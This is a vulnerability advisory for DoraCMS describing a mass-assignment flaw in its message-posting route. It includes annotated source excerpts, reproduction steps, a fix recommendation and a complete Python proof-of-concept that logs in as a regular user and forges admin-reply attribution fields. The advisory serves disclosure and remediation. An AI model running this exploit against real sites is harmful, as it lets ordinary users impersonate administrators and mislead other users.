| Field | Value |
|---|---|
| Product | DoraCMS |
| Vendor / GitHub | https://github.com/doramart/DoraCMS |
| Vulnerability class | CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes / Mass Assignment) |
| Vulnerable route | POST /users/message/sent |
| Affected component | routes/users.js → models/Message.js |
| Verified commit | cdbdcaa3 (package.json "version": "1.1.1") |
| Affected version range | Present since the earliest available commit, DoraCMSV1.0.5 (2015-10-19), through the last commit of the Express/EJS codebase before it was replaced by an unrelated rewrite (commit 2f88ecb, "清空目录", 2017-09-05). Releases from the 2.x (EggJS + Vue) rewrite onward do not contain this code and are unaffected. |
| CVSS 3.1 Base Score | 4.3 (Medium) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| Authentication required | Front-end regular user account (lowest privilege in the application, obtainable via open self-registration) |
| Reported by | Verified via local dynamic reproduction against a full, unmodified deployment (Node.js + MongoDB), 2026-07. |
POST /users/message/sent constructs the persisted Message document via new Message(req.body) — the entire raw request body is passed to the Mongoose model constructor with no field whitelist. The handler explicitly overrides only two fields before construction: author (always forced to the caller's own session identity) and, conditionally, replyAuthor (only when replyId is present in the body).
models/Message.js additionally declares two sensitive fields that are never referenced, validated, or overridden anywhere in this handler:
utype(String, default'0') —'0'= regular user comment,'1'= admin comment/reply, per the model's own inline comment.adminAuthor(String,ref: 'AdminUser') — theAdminUser._idthis message is attributed to as an admin reply. Mongoose does not verify the referencedAdminUseractually exists, nor that the caller has any relationship to it.
Because these two fields pass through req.body unfiltered, any front-end user can set utype=1 and/or adminAuthor=<any AdminUser _id> in their request body and have their own message stored and subsequently displayed as if it were an official administrator reply, or falsely attributed to an arbitrary named admin account.
This contrasts directly with the sibling admin-side reply route in the same codebase (routes/admin.js, near line 1512), which explicitly overrides both req.body.adminAuthor and req.body.replyAuthor before constructing the document — an inconsistent application of the same defensive pattern already used elsewhere in this exact project.
A content-authenticity and impersonation issue: a regular front-end user's own message can be made to appear as an official administrator reply, or be falsely attributed to a specific real admin account, potentially misleading other users who trust admin-labeled content. This is not a backend authorization-system compromise — front-end User accounts have no bearing on the separate AdminUser/AdminGroup permission system used to gate the admin panel itself — but it does undermine the integrity of the comment/reply attribution system that end users rely on to distinguish official responses from user-submitted ones.
- Attacker needs only a front-end regular user account (self-registration via
POST /users/doRegis open).
// routes/users.js:483-514
router.post('/message/sent', function(req, res, next) {
var errors;
var contentId = req.body.contentId;
var contentTitle = req.body.contentTitle;
var authorId = req.session.user._id;
var replyId = req.body.replyId;
var replyEmail = req.body.replyEmail;
var relationMsgId = req.body.relationMsgId;
// NOTE: req.body.utype and req.body.adminAuthor are never read, validated,
// or stripped anywhere in this handler.
if(!shortid.isValid(contentId) || !contentTitle){ errors = settings.system_illegal_param; }
if(!authorId){ errors = settings.system_illegal_param; }
if(replyEmail && !validator.isEmail(replyEmail)){ errors = settings.system_illegal_param; }
if(errors){
res.end(errors);
}else{
if(replyId){
req.body.replyAuthor = new User({_id : replyId, email : replyEmail});
req.body.relationMsgId = relationMsgId;
}
req.body.author = new User({_id : authorId, userName : req.session.user.userName});
// ^ 'author' IS correctly overridden ...// routes/users.js:514
var newMsg = new Message(req.body); // <-- SINK: req.body still contains attacker-supplied
// utype / adminAuthor at this point
newMsg.save(...);// models/Message.js:26-33
adminAuthor : {
type : String,
ref : 'AdminUser'
},// 管理员ID
utype : {type : String ,default : '0'}, // 评论者类型 0,普通用户,1,管理员POST /users/message/sent (body includes: utype=1, adminAuthor=<target AdminUser._id>)
routes/users.js:483 router.post('/message/sent', ...) -- only requires req.session.user._id
routes/users.js:491 validation covers contentId/contentTitle/replyEmail only
routes/users.js:509 req.body.author = new User({...}) -- 'author' overridden (safe)
routes/users.js:514 var newMsg = new Message(req.body); -- SINK: utype/adminAuthor mass-assigned
routes/users.js:515 newMsg.save(...) -- persisted with forged fields
- Logged in as a front-end regular user (self-registerable account).
- Submitted
POST /users/message/sentwithutype=1andadminAuthor=<a real AdminUser _id>in the body, alongside the requiredcontentId/contentTitle/contentfields. - Response:
HTTP 200, bodysuccess. - Read the stored
Messagedocument directly from the database:confirming both forged fields persisted exactly as submitted by a caller with no admin privileges whatsoever.{ "adminAuthor" : "poc-target-adminuser", "author" : "massassignusr", "utype" : "1", ... }
Explicitly whitelist the fields accepted from req.body when constructing the Message document (e.g., only contentId, contentTitle, content, replyId/replyEmail when applicable), matching the defensive pattern already used in the sibling admin-side reply route. Never allow utype or adminAuthor to be set from front-end user-supplied input.
See poc_massassign_001.py (same directory). Dynamically verified against DoraCMS commit cdbdcaa3, Node.js v10.24.1, on 127.0.0.1:8081.
#!/usr/bin/env python3
"""
PoC: DoraCMS Mass Assignment on /users/message/sent -- Admin-Reply
Impersonation via utype/adminAuthor
Target route : POST /users/message/sent
Sink : routes/users.js:514 -- var newMsg = new Message(req.body);
Root cause (routes/users.js:483-514):
router.post('/message/sent', function(req, res, next) {
...
// Only contentId (format), contentTitle (truthy), and replyEmail (format)
// are validated. 'utype' and 'adminAuthor' are NEVER read, checked, or
// stripped anywhere in this handler.
if(errors){ res.end(errors); }else{
if(replyId){
req.body.replyAuthor = new User({_id : replyId, email : replyEmail});
req.body.relationMsgId = relationMsgId;
}
req.body.author = new User({_id : authorId, userName : req.session.user.userName});
// ^ 'author' IS correctly overridden to the
// caller's own session identity ...
var newMsg = new Message(req.body); // ... but req.body still contains any OTHER
// attacker-supplied field at this point,
// notably 'utype' and 'adminAuthor'
newMsg.save(...);
}
});
models/Message.js declares:
utype : {type : String, default : '0'} // '0' = regular user, '1' = admin
adminAuthor : {type : String, ref : 'AdminUser'}
Contrast with the sibling ADMIN-side reply route (routes/admin.js, near
line 1512) which DOES explicitly override both req.body.adminAuthor and
req.body.replyAuthor before construction -- the front-end route only
overrides 'author' and conditionally 'replyAuthor', an inconsistent
application of the same defensive pattern used elsewhere in this exact
codebase.
Any authenticated front-end regular user -- the lowest-privilege role in
this application, obtainable via open self-registration -- can therefore
submit utype=1 and/or adminAuthor=<any real AdminUser _id> and have their
own message persisted and subsequently displayed as if it were an official
administrator reply, or falsely attributed to an arbitrary admin account.
This is a content-authenticity / impersonation issue, not a backend
authorization-system compromise (front-end User accounts have no bearing
on the separate AdminUser/AdminGroup permission system).
Verified end-to-end against: DoraCMS commit cdbdcaa3 (package.json version
1.1.1), Node.js v10.24.1, MongoDB 4.4, on 127.0.0.1:8081. Confirmed via
direct database read that a single unauthenticated-relative-to-the-admin-
panel front-end POST persists attacker-chosen utype/adminAuthor values
verbatim.
Usage (lab-only auto-provisioning + full attack):
python3 poc_massassign_001.py \
--base-url http://127.0.0.1:8081 \
--mongo-container dora-mongo \
--provision --stage-content --stage-admin --cleanup
Requirements:
- requests (pip install requests)
- docker CLI + the target's mongo container reachable (--provision/--stage-* modes only)
"""
import argparse
import subprocess
import sys
import requests
def mongo_eval(container, db, js):
r = subprocess.run(["docker", "exec", "-i", container, "mongo", db, "--eval", js],
capture_output=True, text=True, timeout=15)
return r.stdout + r.stderr
def main():
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--base-url", default="http://127.0.0.1:8081")
parser.add_argument("--victim-email", default="massassign@example.com")
parser.add_argument("--victim-username", default="massassignusr")
parser.add_argument("--victim-id", default="massassignusr")
parser.add_argument("--content-id", default="def456ghijk")
parser.add_argument("--impersonated-admin-id", default="poc-target-adminuser",
help="AdminUser _id to falsely attribute the message to (any string; "
"the code never verifies the referenced AdminUser exists).")
parser.add_argument("--provision", action="store_true", help="Lab-only: create the front-end test user.")
parser.add_argument("--stage-content", action="store_true",
help="Lab-only: create a matching Content doc so the unrelated "
"Content.updateCommentNum() null-dereference crash bug doesn't block this PoC.")
parser.add_argument("--stage-admin", action="store_true",
help="Lab-only: create the AdminUser being impersonated, purely so the "
"attribution is visibly meaningful in the printed output.")
parser.add_argument("--cleanup", action="store_true", help="Remove provisioned/staged data after the run.")
parser.add_argument("--mongo-container", default="dora-mongo")
parser.add_argument("--mongo-db", default="doracms")
args = parser.parse_args()
default_password_cipher = "2d4a9221e95e793431429f572aec3d17" # "doracms123" under encrypt_key="dora"
if args.provision:
print("[*] Provisioning front-end test user (lab-only) ...")
js = f"""
db.users.insertOne({{_id:"{args.victim_id}",name:"MassAssign Test User",userName:"{args.victim_username}",password:"{default_password_cipher}",email:"{args.victim_email}",date:new Date(),logo:"/upload/images/defaultlogo.png"}});
"""
print(mongo_eval(args.mongo_container, args.mongo_db, js).strip())
if args.stage_content:
print("[*] Staging a matching Content document ...")
js = f'db.contents.insertOne({{_id:"{args.content_id}",title:"Test Content",commentNum:0,clickNum:0,state:true,date:new Date()}});'
print(mongo_eval(args.mongo_container, args.mongo_db, js).strip())
if args.stage_admin:
print(f"[*] Staging the AdminUser being impersonated ({args.impersonated_admin_id}) ...")
js = f"""
db.adminusers.insertOne({{_id:"{args.impersonated_admin_id}",name:"Real Site Admin",userName:"realsiteadm",password:"{default_password_cipher}",email:"realadmin@example.com",phoneNum:12345678900,date:new Date(),logo:"/upload/images/defaultlogo.png",auth:true}});
"""
print(mongo_eval(args.mongo_container, args.mongo_db, js).strip())
session = requests.Session()
r = session.post(f"{args.base_url}/users/doLogin",
data={"email": args.victim_email, "password": "doracms123"}, timeout=10)
if r.text.strip() != "success":
print(f"[!] Front-end login failed: {r.text!r}. Use --provision or check credentials.", file=sys.stderr)
return 1
print(f"[+] Logged in as front-end user {args.victim_username!r} (lowest privilege, self-registerable)")
print("[*] Submitting a message with forged utype=1 (admin reply marker) and adminAuthor "
f"pointing at {args.impersonated_admin_id!r} ...")
r2 = session.post(f"{args.base_url}/users/message/sent", data={
"contentId": args.content_id,
"contentTitle": "Test Content Title",
"content": "This message will be displayed as an official admin reply.",
"utype": "1",
"adminAuthor": args.impersonated_admin_id,
}, timeout=10)
print(f"[*] Response: HTTP {r2.status_code}, body: {r2.text!r}")
out = mongo_eval(args.mongo_container, args.mongo_db,
f'db.messages.find({{contentId:"{args.content_id}"}}).sort({{date:-1}}).limit(1).pretty();')
print("--- stored Message document ---")
print(out.strip())
result = 1
if r2.text.strip() == "success" and '"utype" : "1"' in out and args.impersonated_admin_id in out:
print("[+] MASS ASSIGNMENT CONFIRMED: a regular front-end user's own message was persisted "
"with utype=1 (admin-reply marker) and adminAuthor pointing at a real admin account, "
"despite neither field being part of the intended input schema for this endpoint.")
result = 0
else:
print("[-] Expected forged fields not found in the stored document.", file=sys.stderr)
if args.cleanup:
print("[*] Cleaning up provisioned/staged data ...")
mongo_eval(args.mongo_container, args.mongo_db,
f'db.messages.remove({{contentId:"{args.content_id}"}}); '
f'db.contents.remove({{_id:"{args.content_id}"}}); '
f'db.users.remove({{_id:"{args.victim_id}"}}); '
f'db.adminusers.remove({{_id:"{args.impersonated_admin_id}"}});')
return result
if __name__ == "__main__":
raise SystemExit(main())